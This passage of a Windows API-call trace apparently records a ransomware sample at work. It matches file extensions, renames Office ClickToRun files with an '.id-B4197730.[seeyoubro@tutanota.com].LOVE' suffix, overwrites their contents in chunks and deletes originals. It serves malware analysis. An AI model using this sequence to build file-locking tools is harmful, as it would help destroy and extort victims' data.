[0209.572] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.572] lstrlenW (lpString=".zip") returned 4 [0209.572] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.572] lstrlenW (lpString=".rar") returned 4 [0209.572] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.572] lstrlenW (lpString=".bz2") returned 4 [0209.572] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.572] lstrlenW (lpString=".7z") returned 3 [0209.572] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.572] lstrlenW (lpString=".dbf") returned 4 [0209.572] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.572] lstrlenW (lpString=".1cd") returned 4 [0209.572] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.572] lstrlenW (lpString=".jpg") returned 4 [0209.572] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.572] lstrlenW (lpString=".doc") returned 4 [0209.572] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.572] lstrlenW (lpString=".docx") returned 5 [0209.572] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0209.572] lstrlenW (lpString=".pdf") returned 4 [0209.572] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.572] lstrlenW (lpString=".xls") returned 4 [0209.572] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.572] lstrlenW (lpString=".xlsx") returned 5 [0209.572] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0209.572] lstrlenW (lpString=".ppt") returned 4 [0209.572] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.572] lstrlenW (lpString=".zip") returned 4 [0209.573] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.573] lstrlenW (lpString=".rar") returned 4 [0209.573] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.573] lstrlenW (lpString=".bz2") returned 4 [0209.573] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.573] lstrlenW (lpString=".7z") returned 3 [0209.573] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.573] lstrlenW (lpString=".dbf") returned 4 [0209.573] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.573] lstrlenW (lpString=".1cd") returned 4 [0209.573] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned 73 [0209.573] lstrlenW (lpString=".jpg") returned 4 [0209.573] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.573] lstrcmpiW (lpString1=".exe", lpString2=".LOVE") returned -1 [0209.573] lstrlenW (lpString="appvcleaner.exe") returned 15 [0209.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.573] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=2054872) returned 1 [0209.573] CloseHandle (hObject=0x368) returned 1 [0209.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0209.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0209.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.574] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fc64 | out: lpNewFilePointer=0x0) returned 1 [0209.574] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fc24 | out: lpNewFilePointer=0x0) returned 1 [0209.574] ReadFile (in: hFile=0x368, lpBuffer=0x3f72058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x369fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f72058*, lpNumberOfBytesRead=0x369fc30*=0x40000, lpOverlapped=0x0) returned 1 [0209.606] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x369fc24 | out: lpNewFilePointer=0x0) returned 1 [0209.607] ReadFile (in: hFile=0x368, lpBuffer=0x3fb2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x369fc30, lpOverlapped=0x0 | out: lpBuffer=0x3fb2058*, lpNumberOfBytesRead=0x369fc30*=0x40000, lpOverlapped=0x0) returned 1 [0209.925] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x369fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0209.925] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x369fc24 | out: lpNewFilePointer=0x0) returned 1 [0209.925] ReadFile (in: hFile=0x368, lpBuffer=0x3ff2058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x369fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ff2058*, lpNumberOfBytesRead=0x369fc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.426] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.426] WriteFile (in: hFile=0x368, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x369fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fca8*=0xc010a, lpOverlapped=0x0) returned 1 [0210.447] SetEndOfFile (hFile=0x368) returned 1 [0210.447] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x43c1468 [0210.452] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fc74 | out: lpNewFilePointer=0x0) returned 1 [0210.452] WriteFile (in: hFile=0x368, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x369fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x369fc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.454] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x369fc74 | out: lpNewFilePointer=0x0) returned 1 [0210.454] WriteFile (in: hFile=0x368, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x369fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x369fc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.675] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x369fc74 | out: lpNewFilePointer=0x0) returned 1 [0210.675] WriteFile (in: hFile=0x368, lpBuffer=0x43c1468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x369fc80, lpOverlapped=0x0 | out: lpBuffer=0x43c1468*, lpNumberOfBytesWritten=0x369fc80*=0x40000, lpOverlapped=0x0) returned 1 [0210.677] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43c1468 | out: hHeap=0x790000) returned 1 [0210.679] CloseHandle (hObject=0x368) returned 1 [0211.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0211.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.119] lstrlenW (lpString=".doc") returned 4 [0211.119] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0211.119] lstrlenW (lpString=".docx") returned 5 [0211.119] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0211.119] lstrlenW (lpString=".pdf") returned 4 [0211.119] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0211.119] lstrlenW (lpString=".xls") returned 4 [0211.120] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0211.120] lstrlenW (lpString=".xlsx") returned 5 [0211.120] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0211.120] lstrlenW (lpString=".ppt") returned 4 [0211.120] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0211.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.120] lstrlenW (lpString=".zip") returned 4 [0211.120] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0211.120] lstrlenW (lpString=".rar") returned 4 [0211.120] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0211.120] lstrlenW (lpString=".bz2") returned 4 [0211.120] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0211.120] lstrlenW (lpString=".7z") returned 3 [0211.120] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0211.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.120] lstrlenW (lpString=".dbf") returned 4 [0211.120] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0211.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.120] lstrlenW (lpString=".1cd") returned 4 [0211.120] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0211.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.120] lstrlenW (lpString=".jpg") returned 4 [0211.120] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0211.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.120] lstrlenW (lpString=".doc") returned 4 [0211.120] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0211.120] lstrlenW (lpString=".docx") returned 5 [0211.120] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1 [0211.120] lstrlenW (lpString=".pdf") returned 4 [0211.120] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0211.120] lstrlenW (lpString=".xls") returned 4 [0211.120] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0211.120] lstrlenW (lpString=".xlsx") returned 5 [0211.121] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1 [0211.121] lstrlenW (lpString=".ppt") returned 4 [0211.121] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.121] lstrlenW (lpString=".zip") returned 4 [0211.121] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0211.121] lstrlenW (lpString=".rar") returned 4 [0211.121] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0211.121] lstrlenW (lpString=".bz2") returned 4 [0211.121] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0211.121] lstrlenW (lpString=".7z") returned 3 [0211.121] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.121] lstrlenW (lpString=".dbf") returned 4 [0211.121] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.121] lstrlenW (lpString=".1cd") returned 4 [0211.121] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0211.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned 73 [0211.121] lstrlenW (lpString=".jpg") returned 4 [0211.121] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0211.121] lstrcmpiW (lpString1=".hash", lpString2=".LOVE") returned -1 [0211.121] lstrlenW (lpString="i640.hash") returned 9 [0211.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0213.000] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=102) returned 1 [0213.000] CloseHandle (hObject=0x2f0) returned 1 [0213.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0213.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0213.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0213.036] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.036] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0213.036] GetLastError () returned 0x0 [0213.036] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x66, lpOverlapped=0x0) returned 1 [0213.037] WriteFile (in: hFile=0x330, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x70, lpOverlapped=0x0) returned 1 [0213.038] ReadFile (in: hFile=0x2f0, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.038] WriteFile (in: hFile=0x330, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0xe6, lpOverlapped=0x0) returned 1 [0213.038] SetEndOfFile (hFile=0x330) returned 1 [0213.039] CloseHandle (hObject=0x330) returned 1 [0213.039] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.039] SetEndOfFile (hFile=0x2f0) returned 1 [0213.040] CloseHandle (hObject=0x2f0) returned 1 [0213.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0213.040] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0213.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.041] lstrlenW (lpString=".doc") returned 4 [0213.041] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0213.041] lstrlenW (lpString=".docx") returned 5 [0213.041] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0213.041] lstrlenW (lpString=".pdf") returned 4 [0213.041] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0213.041] lstrlenW (lpString=".xls") returned 4 [0213.041] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0213.041] lstrlenW (lpString=".xlsx") returned 5 [0213.041] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0213.041] lstrlenW (lpString=".ppt") returned 4 [0213.041] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0213.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.041] lstrlenW (lpString=".zip") returned 4 [0213.041] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0213.041] lstrlenW (lpString=".rar") returned 4 [0213.041] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0213.041] lstrlenW (lpString=".bz2") returned 4 [0213.041] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0213.041] lstrlenW (lpString=".7z") returned 3 [0213.041] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0213.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.042] lstrlenW (lpString=".dbf") returned 4 [0213.042] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0213.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.042] lstrlenW (lpString=".1cd") returned 4 [0213.042] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0213.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.042] lstrlenW (lpString=".jpg") returned 4 [0213.042] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0213.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.042] lstrlenW (lpString=".doc") returned 4 [0213.042] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0213.042] lstrlenW (lpString=".docx") returned 5 [0213.042] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0213.042] lstrlenW (lpString=".pdf") returned 4 [0213.042] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0213.042] lstrlenW (lpString=".xls") returned 4 [0213.042] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0213.042] lstrlenW (lpString=".xlsx") returned 5 [0213.042] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0213.042] lstrlenW (lpString=".ppt") returned 4 [0213.042] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0213.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.042] lstrlenW (lpString=".zip") returned 4 [0213.042] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0213.042] lstrlenW (lpString=".rar") returned 4 [0213.042] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0213.042] lstrlenW (lpString=".bz2") returned 4 [0213.043] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0213.043] lstrlenW (lpString=".7z") returned 3 [0213.043] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0213.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.043] lstrlenW (lpString=".dbf") returned 4 [0213.043] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0213.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.043] lstrlenW (lpString=".1cd") returned 4 [0213.043] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0213.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0213.043] lstrlenW (lpString=".jpg") returned 4 [0213.043] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0213.043] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0213.043] lstrlenW (lpString="msvcp120.dll") returned 12 [0213.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0213.043] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=660136) returned 1 [0213.043] CloseHandle (hObject=0x2f0) returned 1 [0213.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0213.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0213.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0213.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0213.044] lstrlenW (lpString=".doc") returned 4 [0213.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0213.044] lstrlenW (lpString=".docx") returned 5 [0213.044] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0213.044] lstrlenW (lpString=".pdf") returned 4 [0213.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0213.044] lstrlenW (lpString=".xls") returned 4 [0213.044] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0213.044] lstrlenW (lpString=".xlsx") returned 5 [0213.044] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0213.044] lstrlenW (lpString=".ppt") returned 4 [0213.044] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0213.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0213.044] lstrlenW (lpString=".zip") returned 4 [0213.044] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0213.045] lstrlenW (lpString=".rar") returned 4 [0213.045] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0213.045] lstrlenW (lpString=".bz2") returned 4 [0213.045] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0213.045] lstrlenW (lpString=".7z") returned 3 [0213.045] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0213.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0213.045] lstrlenW (lpString=".dbf") returned 4 [0213.045] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0213.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0213.045] lstrlenW (lpString=".1cd") returned 4 [0213.045] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0213.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0213.045] lstrlenW (lpString=".jpg") returned 4 [0213.045] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0213.046] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0213.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 